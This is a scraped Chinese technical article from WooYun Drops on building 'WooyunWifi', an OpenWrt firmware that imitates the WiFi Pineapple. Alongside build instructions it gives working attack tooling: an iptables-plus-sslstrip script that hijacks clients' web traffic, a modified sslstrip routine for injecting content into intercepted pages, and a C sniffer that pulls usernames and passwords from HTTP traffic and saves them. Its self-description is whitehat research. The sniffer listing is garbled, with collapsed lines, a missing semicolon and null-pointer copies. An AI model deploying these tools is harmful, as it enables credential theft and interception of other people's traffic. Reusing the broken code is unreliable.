<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/3248

            第一章:失傳的菠蘿神話


            0x00 前言:


            WooyunWifi是一款基于Openwrt開發的無線審計測試固件,內置集成了眾多著名無線/網絡審計工具,并基于Ngrep+sslstrip開發了原創工具及BS架構管理界面。 本系列文章將詳細講解 無線安全、網絡安全、嵌入式開發、前端Bootstrap界面設計、后臺PHP程序設計、Shell Script編寫、C語言有限自動機設計、Python網絡編程、Linux高級命令、路由器常識概念 等相關內容

            本章概括了WooyunWifi的技術架構以及功能實現理論。

            0x01 菠蘿神話:


            由于wifi pineapple支持的路由器有限(事實上除了它自己銷售的那一款,其他的路由器都沒辦法完全正常運行),因此網上出現了各種“移植”的教程,只為一睹神器真容,然而多數人最終失敗,少數人在付出了巨大代價后才勉強成功。 Wifi pineapple自稱開源,但事實上并非如此,其公開的源代碼陳舊而混亂,也沒有充足的文檔以供分析。 菠蘿神話已經失傳,只剩國外壟斷銷售的黑客路由器與一群心懷不軌的購買者,技術研究的氣氛 和 自由公開的精神 早已不見了蹤影。 如果你真的好奇大菠蘿到底是怎樣實現的,如果你真的想看到確鑿的技術細節,那么跟我來體驗一把求真求實、自由共享的烏云白帽“安全實踐”吧 注:根據有關法律法規,我們正在仔細評估并設計該固件的”安全使用”限制,盡管遵守GPL協議,在”安全使用”評估設計完成之前不會公開源代碼,也不會向公眾發布固件。

            0x02 架構設計:


            先展示一下WooyunWifi的架構圖(Wooyun Wifi簡稱Woofi):

            enter image description here

            1、 PHP+Bootstrap的組合大家已經在烏云靶場項目中見過了,不過由于路由器環境限制和開源工具數據存儲特性,經過考慮不使用Mysql數據庫存儲數據,直接使用文本方式保存數據內容。

            2、 數據處理則考慮到路由器性能問題(大量實時數據包處理)采用C語言自動機實現

            3、 使用Shell編程簡化了一些控制配置,fate0修復了一個sslstrip的官方bug

            簡而言之,工作流程是這樣的:用戶登錄192.168.16.2,看到uhttpd上的index首頁,然后后臺PHP處理用戶的操作,調用了一些輔助性Shell script,然后比如控制把ngrep抓到的數據實時交給WoofiTools中的mailsniff做數據處理,然后結果以文本形式保存。PHP把文本保存的數據讀取處理,結合uhttpd返回給用戶頁面。

            如果接下來各種程序設計我都是一句話帶過然后瘋狂貼代碼,那么這篇文章也和那些炫耀貼毫無區別了,并無冒犯之意,我也從很多“一句話輕描淡寫”博客中學習了很多知識,只不過由于文章細節不清,BUG和失敗的次數令我覺得難以忍受……所以,接下來我不僅要告訴大家我是怎樣實現的程序,而且要告訴大家我為什么要這樣寫程序。

            0x03 實現方案的演變:


            在我還沒有開始設計之前,我考慮過幾種實現方案

            1、 基于大菠蘿二次開發,修改代碼重新編譯到其他路由器上。這個當時是我的首選方案,直到我發現大菠蘿根本沒有完全公開源代碼,因此徹底不可行

            2、 集成開源軟件,做開源軟件的WEB UI和各種前提配置。當時覺得這樣完全不比大菠蘿二次開發復雜,直到我發現很多開源軟件年久失修BUG成群,能修復的盡量修復,修不好的只能重新開發了。

            3、 集成各種必要的library,自己從頭開發功能程序,這樣很明顯會有重復造輪子的浪費,不過由于發現有些開源軟件無法正常使用,因此也是沒辦法的選擇,當然我也會把那些能夠使用的開源軟件加以利用

            于是,本想著改改大菠蘿代碼就可以了,結果變成了重新集成開源軟件做 WEB UI 于是,本想著重新集成開源軟件做 WEB UI就可以了,結果需要部分底層工具重新開發

            發生這種情況一方面是由于預研不到位,以及SE對技術難度的預判有誤,而導致項目規劃和實際執行嚴重錯位,這么巨大的技術難度偏差很可能導致項目流產。 那么這個項目是怎么來的呢?那就要從2014/7/30的下午說起……

            社區里小伙伴發了個思想無比前衛的帖子:Anymous《設想wooyun智能路由改造openwrt[email protected],瞌睡龍大人把這個光榮的任務交給了我,我當時想了一下答道:“如果只是改改大菠蘿源代碼,不會很難” 事實證明,我在沒有預研的情況下錯判了項目技術難度,看來還有好多的東西要學~

            感想:

            越是看上去簡單的事情,做起來就越復雜。事情即使再復雜,只要做完了就會變得簡單

            0x04 工具原理:


            1、 嗅探使用ngrep+自己寫的C語言自動機,以及sslstrip+自己寫的C語言自動機

            2、 MITM系列功能使用二次開發過的sslstrip來實現

            3、 無線審計開源工具不用修改,直接做WEB UI就可以了(我又錯了,karma把我擊敗了)

            4、 Karma(未完成)通過建立AP并給任意ssid的請求進行響應和服務,達到劫持的目的

            Karma原理詳解:

            首先Karma需要建立一個能夠用來劫持用戶的AP(比如說利用hostapd),然后對hostapd源碼進行patch,使之可以無視請求中的ssid提供服務

            enter image description here

            (默認情況下,若ssid不一致,hostapd會報告異常,因此為了實現karma功能需要hostapd去除ssid檢查)

            部分重要patch如下:

            enter image description here

            即如果karma_beacon_respond選項開啟則無視ssid的檢查,補丁原作者在截圖中有顯示,我只是把他的針對hostapd 2.0補丁重新做到了hostapd最新版20140603上而已

            PS:制作補丁/使用補丁的方式請參見http://wiki.openwrt.org/doc/devel/patches

            再PS:在refresh之后一定要記住把生成好的補丁復制出來備份,因為接下來的步驟會把補丁打進源碼而刪除原補丁文件!!!

            而karma本身程序的運行邏輯是: 首先循環抓無線信號幀(使用了airtap),然后每次抓到信號幀都調用on_probe_request處理,在函數里面首先建立一個鏈表儲存請求的station信息,之后發送響應信號幀

            可惜我沒有成功跑起karma主程序,因為airtap調用了libpcap卻找不到對應的datalink decoder,暫時找不到解決方案

            我曾經以為我熟悉這些工具的原理,直到開發過程中(以后文章詳解)遇到各種問題,才發現要真正的熟悉原理,不僅要知道工具做了什么,而且要知道工具為什么這么做。

            0x05 Luci的簡要分析:


            我們使用Openwrt自己的Luci進行常規功能的管理,因為Luci自己的功能其實是很強大的。我曾經一度想要在Luci之上開發我們的WooyunWifi WEB界面,但是由于cgi和lua腳本都比較陌生,所以為了敏捷開發,還是選擇了PHP 請注意:部分Openwrt版本的Luci不支持網絡中繼功能(就是作為client連接一個Wifi然后再作為AP播出一個Wifi),我選擇的最新barrier_breaker是有這個功能的 另外,Luci依賴uhttpd,因此正好PHP也放在uhttpd上了

            對了,不要自己亂改/etc/config/wireless配置,因為Luci會出BUG

            0x06 投影至烏云峰會irc上:


            這個是臨時功能,為了烏云峰會設計的,從各種sniff中posturl到服務端,然后fate0在瞌睡龍大人的weechat里做了個python插件,我只是post數據,沒有實際參與,因此不知道相關細節。 展示出的代碼中沒有該功能

            第二章:路由器的先天技能


            0x00 前言:


            本章概括了WooyunWifi基于Openwrt的源碼編譯及集成方式。

            0x01 編譯Openwrt:

            我使用的是Ubuntu麒麟14.04:

            首先要看官方文檔,而不是胡亂百度 http://wiki.openwrt.org/doc/howto/easy.build

            官方文檔中的這一句

            svn co -r 36088 svn://svn.openwrt.org/openwrt/branches/attitude_adjustment
            

            是檢出36088版的attitude_adjustment分支源碼,最新版是trunk,新功能多,支持的芯片多,但是穩定的軟件包少。為了支持極路由,我選擇的是最新版barrier_breaker分支,不要忘記去掉-r 36088以檢出最新版本的源碼。

            svn co svn://svn.openwrt.org/openwrt/branches/barrier_breaker
            

            官方文檔中的這一句:

            ./scripts/feeds update –a
            

            可能會因為國內偶爾連不上googlecode而失敗,如果你不需要那些在googlecode上的軟件包,你可以無視失敗信息進行

            ./scripts/feeds install -a
            

            (因為會報告index問題,所以要加-a) 如果正好googlecode上放的是你需要的軟件包,請自行尋找連接google的方式吧

            然后

            ~/20140818/barrier_breaker$ make menuconfig
            

            進行配置

            enter image description here

            第一項是目標芯片型號,不知道自己路由器芯片型號的Google去吧,第二項選項是NAND什么的設置視情況選擇,第三項是你的路由器型號,我這里選擇了極路由,只有在選對了芯片類型后才會可選,其它選項都比較易懂,如果用到再說

            enter image description here

            選擇編譯的軟件包時,星號代表編譯進固件,M代表編譯安裝包但不放進固件,內置某些軟件包時會自動選中依賴項

            Q:為什么選項里沒有我要的軟件包?

            A:可能你沒feeds update install,也可能是你svn檢出的版本不對

            然后就是保存

            make V=s
            

            有很多人喜歡 j4多線程編譯,如果你是第一次編譯,強烈建議你不要這樣做,因為你一旦遇到錯誤輸出的東西比較混亂,查日志很麻煩 然后就是遇到連接錯誤,重新make V=s,還是連接不上,那就和想辦法上國外網站同一個道理,如果校驗出錯,刪掉dl文件夾下的錯誤文件重新 make V=s,視報錯針對性解決

            如果編譯完成,會在

            bin/芯片型號/
            

            下面出現編譯好的固件 比如:openwrt-ar71xx-generic-hiwifi-hc6361-squashfs-sysupgrade.bin 這就是squashfs的極路由固件

            再比如:openwrt-ar71xx-generic-wndr3800-squashfs-factory.img 這就是squashfs的netgear wndr3800 固件

            刷機方法一般可用路由器后臺界面上傳固件刷機,也可根據說明書使用TFTP刷機,如果有經驗也可以線刷

            0x02 開源工具的評測:


            1、 Ngrep:之所以不使用tcpdump是因為ngrep提供了更簡便的數據處理和輸出,運行時很穩定,用它開發了cookiesniff、passsniff、mailsniff等工具

            2、 Dsniff:密碼嗅探不理想,安裝它是為了其中的urlsnarf等工具,相對而言還是自己開發的ngrep+各種sniff不丟包更穩定,話說Http的密碼它根本嗅探不到啊,不知道是不是我配置的問題。

            3、 SSlstrip:官方版本就存在著BUG,不能運行,多虧fate0挺身而出修復了這個BUG,于是我們的Mitm也可以基于sslstrip設計了

            4、 Ettercap:由于Openwrt官方自帶的版本過度古老,因此BUG很多(各種網上已知的bug),不適合做二次開發,因此只集成不做WEB UI。

            5、 Karma:不能夠正常使用,需要大量修改(暫未完成)

            6、 Aircrack-ng:還沒測試

            7、 Reaver:還沒測試

            0x03 fate0修復sslstrip:


            使用sslstrip的時候報錯:

            exceptions.AttributeError: ClientRequest instance has no attribute 'responseHeaders'
            

            fate0通過對sslstrip源碼的檢查,發現了sslstrip集成的twisted版本過于古老,因此建議我更新twisted,但是我發現新版本的twisted容量太大,集成到路由器上不現實,因此Openwrt才會一直集成古老版本的twisted(而且發現它還是縮水的)。

            于是只好求fate0改sslstrip代碼,fate0調試之后發現了問題所在:

            ServerConnection.py
            
            elif (key.lower() == 'set-cookie'):
                        #import pdb
                        #pdb.set_trace()
                        #self.client.responseHeaders.addRawHeader(key, value)
                        self.client.setHeader("test_key", "test_value")
                        #self.client.setHeader(key, value)
                        self.client.cookies.append(value)
                    else:
                        self.client.setHeader(key, value)
            

            由于#self.client.responseHeaders.addRawHeader(key, value)這一句沒有responseHeaders,因此造成exception

            那么,sslstrip這樣設計的目的是什么呢?我們知道,set-cookie可能會有很多個,而self.client.setHeader(key, value)會毫不猶豫地覆蓋掉之前的set-cookie,因此這段代碼的目的是addRawHeader實現多個set-cookie header

            因此,fate0用self.client.cookies.append(value)實現了這一功能,修復完畢

            0x04 制作修復后的sslstrip軟件包:


            修改sslstrip的Makefile,改為從本地下載(我搭了個nginx),別忘改md5校驗哦

            enter image description here

            然后把修復后的ServerConnection.py打進壓縮包,放在自己nginx即可

            0x05 制作自己的軟件包:


            請優先參閱官方文檔

            例:package/wooyun/wooyunwifi/Makefile

            #
            # Copyright (C) 2011-2012 OpenWrt.org
            #
            # This is free software, licensed under the GNU General Public License v2.
            # See /LICENSE for more information.
            #
            
            include $(TOPDIR)/rules.mk
            
            PKG_NAME:=wooyunwifi
            PKG_RELEASE:=1
            
            include $(INCLUDE_DIR)/package.mk
            
            define Package/wooyunwifi
              SECTION:=wooyun
              CATEGORY:=wooyunwifi
              TITLE:=wooyunwifi
              MAINTAINER:=lxj616
            endef
            
            define Package/wooyunwifi/description
             Wooyun Wifi is a whitehat wifi auditing toolsuite based
             on Openwrt , Have fun testing security issues on your 
             own wifi network ,serves study purpose only, license GPL
                                                ------ [email protected]
            endef
            
            define Build/Prepare
                $(INSTALL_DIR) $(PKG_BUILD_DIR)
                把src里面的源文件復制到build地點(不然編譯時找不到)
                $(INSTALL_DATA) ./src/cookiesniff.c $(PKG_BUILD_DIR)/
                $(INSTALL_DATA) ./src/passsniff.c $(PKG_BUILD_DIR)/
                $(INSTALL_DATA) ./src/mailsniff.c $(PKG_BUILD_DIR)/
                $(INSTALL_DATA) ./src/stripsslstrip.c $(PKG_BUILD_DIR)/
                把不需要編譯的文件夾和文件也拷貝過去
                $(CP) ./WooyunWifi $(PKG_BUILD_DIR)/
                $(CP) ./index.html $(PKG_BUILD_DIR)/
                $(CP) ./conf $(PKG_BUILD_DIR)/
            endef
            
            define Build/Compile
                編譯源文件,如果之前沒復制這步就找不到,用的是交叉編譯
                $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
                    -o $(PKG_BUILD_DIR)/cookiesniff $(PKG_BUILD_DIR)/cookiesniff.c
                $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
                    -o $(PKG_BUILD_DIR)/passsniff $(PKG_BUILD_DIR)/passsniff.c
                $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
                    -o $(PKG_BUILD_DIR)/mailsniff $(PKG_BUILD_DIR)/mailsniff.c
                $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
                    -o $(PKG_BUILD_DIR)/stripsslstrip $(PKG_BUILD_DIR)/stripsslstrip.c
            endef
            
            define Package/wooyunwifi/install
                新建文件夾準備復制
                $(INSTALL_DIR) $(1)/usr/bin
                $(INSTALL_DIR) $(1)/etc/wooyunwifi
                復制編譯好的文件到可以運行的地方
                $(INSTALL_BIN) $(PKG_BUILD_DIR)/cookiesniff $(1)/usr/bin/
                $(INSTALL_BIN) $(PKG_BUILD_DIR)/passsniff $(1)/usr/bin/
                $(INSTALL_BIN) $(PKG_BUILD_DIR)/mailsniff $(1)/usr/bin/
                $(INSTALL_BIN) $(PKG_BUILD_DIR)/stripsslstrip $(1)/usr/bin/
                $(INSTALL_DIR) $(1)/www
                直接復制各種文件
                $(CP) $(PKG_BUILD_DIR)/WooyunWifi $(1)/www
                $(CP) $(PKG_BUILD_DIR)/index.html $(1)/www
                $(CP) $(PKG_BUILD_DIR)/conf/basepath.conf $(1)/etc/wooyunwifi
            endef
            
            $(eval $(call BuildPackage,wooyunwifi))
            

            然后再make menuconfig就可以看到自己的軟件包了,然后正常編譯即可,如果報錯注意修改軟件包配置

            第三章:路由器的漂亮界面


            0x00 前言:


            本章概括了WooyunWifi的WEB端功能實現。

            0x01 PHP:


            我曾經考慮,可不可以只用html+cgi實現所有的功能,但考慮到WEB管理的業務需求比較寬松,因此采用PHP敏捷開發更加快速。 Menuconfig時,額外選擇language – PHP – php-mod-session用作登錄控制,同理可集成其它所需插件 為了使uhttpd支持PHP,修改package/network/services/uhttpd/files/uhttpd.config 去掉list interpreter php 的注釋符號,其它配置同理

            enter image description here

            以sslstrip插件的設計為例進行說明

            enter image description here

            /WooyunWifi/sslstrip.inc
            
            $ison=shell_exec("ps|awk '{print $6}'|grep sslstrip");
            

            在PHP中隨時使用shell_execexec執行linux命令獲取工具狀態,并且判斷顯示開關的狀態,之后就是常規的PHP程序設計了

            不過在設計中出現了一個小問題,那就是一些命令比如說ngrep在運行時會掛在那里持續運行,這就導致PHP腳本無法繼續運行,比較奇怪的是nohup &在php里面沒有效果,只有先用PHP sh ***.sh,然后在shell 腳本中才會正常后臺執行,因此:

            sson.php

            <script>
            var xmlhttp;
            xmlhttp=new XMLHttpRequest();
            <?php
            echo 'xmlhttp.open("GET","sslstripon.php",true)';
            ?>
            xmlhttp.send();
            var t=setTimeout("window.location.href=\"/WooyunWifi/index.php?action=sslstrip\";",1000);
            </script>
            

            先異步請求,然后等待1s跳轉回去(解決后面500 bad gateway問題)

            sslstripon.php

            shell_exec("./test2.sh ".$basepath."&");
            

            接到請求,運行shell腳本(還是會掛在這里不能繼續執行)

            Test2.sh

            #!/bin/sh
            
            iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
            iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000
            
            echo "1" > ${1}/sslstrip.log
            sslstrip -w ${1}/sslstrip.log -l 10000 &
            tail -f ${1}/sslstrip.log|stripsslstrip &
            
            kill $(ps|grep "php-cgi"|awk '{print $1}') &
            

            結束掉php-cgi的進程,因為uhttpd是一個單線程服務器,因此php-cgi掛在那里就會導致服務器無響應,kill掉之后服務器才能響應其他請求。

            所以流程是這樣的: 1、 用戶打開頁面 2、 PHP執行shell命令,判斷sslstrip是否正在運行,如果不是,返回“啟動”按鈕 3、 用戶點擊啟動按鈕 4、 到sson.php中異步請求sslstripon.php,然后…… 5、 sslstripon.php調用test2.sh,后臺運行sslstrip,然后test2.sh kill掉php-cgi,于是sslstripon.php執行完畢(返回500 bad gateway),但是用戶在sson.php中等待1s后返回主界面了,所以看不到500錯誤

            繞了個圈解決了單線程服務器的阻塞問題,不過這樣看來軟件架構怪怪的,先實現功能再說,以后再改進吧

            大家可能會有這樣的疑問: 你在PHP中運行shell命令時難道不是www-data權限嗎? 如何運行tcpdump之類的高權限程序呢?

            其實我之前也特地設計了用sudoer解決權限問題的方案,只不過后來我發現(個人猜測),Openwrt這類的嵌入式系統權限和用戶組并不嚴格,直接就是root運行一切程序了

            0x02 Bootstrap前端設計:


            在線畫了個框架,然后放在路由器上一邊vi一邊刷新瀏覽器

            enter image description here

            0x03 MITM功能設計:


            因為這個功能主要是在應用層實現的,而且和WEB相關協議聯系比較密切,所以放在WEB層來探討這個問題。 首先我們來分析一下解決這個功能的可選方案:

            1、 在傳輸層使用transparent proxy做MITM數據包截取/修改 2、 在應用層使用HTTP雙向通信模型做MITM內容截取/修改

            剛開始的思路是做一個transparent proxy,但是發現由于數據包分段以及gzip格式傳輸,導致傳輸層做HTTP內容注入比較復雜,而且其他協議的數據包又不具備通用性的MITM介入方式,因此綜合看來還是做應用層HTTP協議的雙向通信模型比較簡便。

            而我們知道,SSlstrip就是基于這種應用層雙向通信模型構建的,我們可以借用SSlstrip的代碼進行改造

            ServerConnection.py
            
                def replaceSecureLinks(self, data):
                    iterator = re.finditer(ServerConnection.urlExpression, data)
            
                    for match in iterator:
                        url = match.group()
            
                        logging.debug("Found secure reference: " + url)
            
                        url = url.replace('https://', 'http://', 1)
                        url = url.replace('&amp;', '&')
                        self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
            
                    data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
            
                    #在這里對data進行處理,即可完成MITM介入
                    #這個函數本來的功能是替換https為http普通鏈接
                    #在此之前已經完成了對gzip的解壓,以及建立了雙向連接
            
                    replaceconfig=os.popen('cat /etc/wooyunwifi/replace.conf').readlines()
                    data = data.replace(replaceconfig[0].strip(),replaceconfig[1].strip())
            
                    #其實就兩句話,看上去很簡單,哈
            
                    return re.sub(ServerConnection.urlType, 'http://', data)
            

            再做個WEB頁面 至此,MITM設計完畢

            感想:寫一句代碼只需要一分鐘,但知道這行代碼寫在哪需要一天

            enter image description here

            既然WEB控制端設計好了,開始做model層的數據處理工具吧!

            第四章:路由器的數據處理


            0x00 前言:


            本章概括了WooyunWifi的model層數據處理功能實現。

            0x01 交叉編譯:


            我們在本地編譯一個Linux程序:

            gcc -o mailsniff mailsniff.c
            ./mailsniff.c 
            

            在本地可以正常運行

            而我們要編譯一個在路由器上可以運行的程序,又不能給路由器安裝gcc,那怎么辦呢?

            我們采取交叉編譯在本地編譯路由器中的程序:

            ./barrier_breaker/staging_dir/toolchain-mips_34kc_gcc-4.8-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux-gcc -o mailsniff mailsniff.c
            

            這里的交叉編譯工具鏈跟你的路由器芯片型號有關,需要你先選擇toolchains編譯make V=s后才會出現,當然你也可以從downloads.openwrt.org直接下載對應芯片型號的toolchains

            如何制作軟件包集成進固件在第二章介紹,此處不再贅述

            0x02 數據交互:


            實例說明:

            echo "1" > ${1}/sslstrip.log
            

            將echo的結果寫入文件(basepath從外部PHP調用傳入)

            ngrep -l -q -W byline -d $1 port 110 or 143 or 25|mailsniff
            

            將ngrep的stdout接到mailsniff的stdin上(device從外部PHP調用傳入)

            注意:這里的ngrep -l 選項是為了使ngrep的stdout以行為單位緩沖,避免由于數據緩沖導致的數據不及時同步問題

            而sslstrip本身是輸出一個log文件

            sslstrip -w ${1}/sslstrip.log -l 10000 & 
            tail -f ${1}/sslstrip.log|stripsslstrip &
            

            使用tail就可以實現實時輸出

            0x03 自動機設計:


            以passsniff為例介紹C語言自動機設計:

            /*
                code by [email protected]
            */
            #include <stdlib.h>
            #include <errno.h>
            #include <string.h>
            #include <unistd.h>
            #include <sys/socket.h>
            #include <netinet/in.h>
            #include <arpa/inet.h>
            #include <netdb.h>
            #include <stdio.h>
            #include <unistd.h>
            
            //Openwrt默認權限可以讀寫etc下文件
            void get_basepath(char *basepath)
            {
                FILE *fp1;
                fp1 = fopen("/etc/wooyunwifi/basepath.conf","r");
                fscanf(fp1,"%s",basepath);  
                fclose(fp1);
            }
            
            //解析URL中用戶名和密碼
            void strip_pass(char *basepath,char *buffer,char *host)
            {
                int i;
                int flag=0;
                char *user;
                char *pass;
                user=strstr(buffer,"user");
                pass=strstr(buffer,"pass");
            
                if(user&&pass)
                {
                    user=strstr(user,"=")+1;
                    pass=strstr(pass,"=")+1;
            
                    for(i=0;user[i]!='\0'&&flag==0;i++)
                    {
                        if(user[i]=='&')
                        {
                            user[i]='\0';
                            flag=1;
                        }
                    }
                    flag=0;
                    for(i=0;pass[i]!='\0'&&flag==0;i++)
                    {
                        if(pass[i]=='&')
                        {
                            pass[i]='\0';
                            flag=1;
                        }
                    }
                }
                else 
                {
                    strcpy(user,"unknown");     strcpy(pass,"unknown");     }   update_log(basepath,host,user,pass); } 
            //寫文本文件保存信息
            void writeLog(char *path,char *user,char *pass)
            {
                FILE *fp = fopen(path,"a");
                fputs("\r\n",fp);
                fputs(user,fp);
                fputs("\r\n",fp)
                fputs(pass,fp);
                fputs("\r\n",fp);
                fflush(stdout);
                fclose(fp);
            }
            
            //寫文件,以host命名,因為是直接讀的Host: ***.com,因此去掉前面的前綴
            void update_log(char *basepath,char *host,char *user,char *pass)
            {
                char tmppath[1629];
                strcpy(tmppath,basepath);
                strcat(tmppath,"/passdump/");
                writeLog(strcat(tmppath,host+6),user,pass);
            }
            
            
            int main()
            {
                char basepath2[128];
                char basepath[128];
                char buffer[1629]="0";
                char pass[1629]="0";
                char pass2[1629]="0";
                char host[1629]="0";
                char host2[1629]="0";
                int flag=0;
            
                char mkdir[128]="mkdir "; 
            
                get_basepath(basepath);
            
                strcat(mkdir,basepath);
                strcat(mkdir,"/passdump");
            
                //先保證存在保存的文件夾
                system(mkdir);
            
                while(1)
                {
                    fgets(buffer,1628,stdin);
                    //如果是空行,代表一個數據包結束 或者 緊接著POST內容
                    if(strcmp(buffer,"\n")==0)
                    {
                        //已經出現了記錄?寫文件然后清空當前密碼記錄
                        if((strcmp(host,"0")!=0)&&(strcmp(pass,"0")!=0))
                        {
                            //干掉referer,免得一個密碼記錄好多次
                            if(!strstr(pass,"Referer:"))
                            {
                                strip_pass(basepath,pass,host);
                                printf("\n\n");
                            }
                            strcpy(pass,"0");
                        }
                    }
                    else if(strstr(buffer,"Host:"))
                    {
                        //去掉0x0a和0x0d
                        buffer[strlen(buffer)-2]='\0';
                        strcpy(host,buffer);
                    }
                    else if(strstr(buffer,"user")&&strstr(buffer,"pass"))
                    {
                        //去掉0x0a和0x0d
                        buffer[strlen(buffer)-2]='\0';
                        strcpy(pass,buffer);
                    }
                    //buffer[strlen(buffer)-2]='\0';
                }
                return 0;
            }
            

            概括起來我們的自動機做了以下事情:

            1、 Ngrep嗅探PHP指定的device數據包,篩選80端口HTTP請求,然后把stdout轉接到我們的自動機stdin上 2、 C語言自動機不斷按行讀取stdin中的輸入,不停檢測密碼信息以及Host信息,但數據包結束后,判斷是否截獲密碼信息,如果是,追加寫入文本記錄文件 3、 自動機本身不會停止工作,必須依靠PHP+Shellscript來外部kill掉

            0x04 為什么不用python:


            字符處理,還是python方便,但是我們真的很需要“效率”,無論是從內存占用還是數據包延遲來說,C語言仍然占據了不可替代的優勢(其實也沒那么懸殊,只不過自動機程序比較簡單,因此對C熟練的話不會很吃力) 還有一個重要的原因是:當初我以為會涉及到kernel的數據包修改,后來寫完自動機才發現原來想多了,所以C語言反倒只用來寫了幾個自動機,唉……

            0x05 使用iptables重定向流量

            例:

            iptables -t nat -A PREROUTING -s 192.168.16.249 -p tcp --dport 80 -j DNAT --to-destination 192.168.16.134:8029
            iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 80 -j MASQUERADE
            iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 8029 -j MASQUERADE
            

            由此一方面可以將流量重定向到自己的proxy上(是transparrent proxy),也可以直接轉發到其他ip(如burpsuite)

            至此,WooyunWifi設計完成,大家可能會覺得“哇,還是很簡單的嘛”,如果大家真的打算試一下全過程,請務必要看《WooyunWifi 第五章:十萬個變磚方法》

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线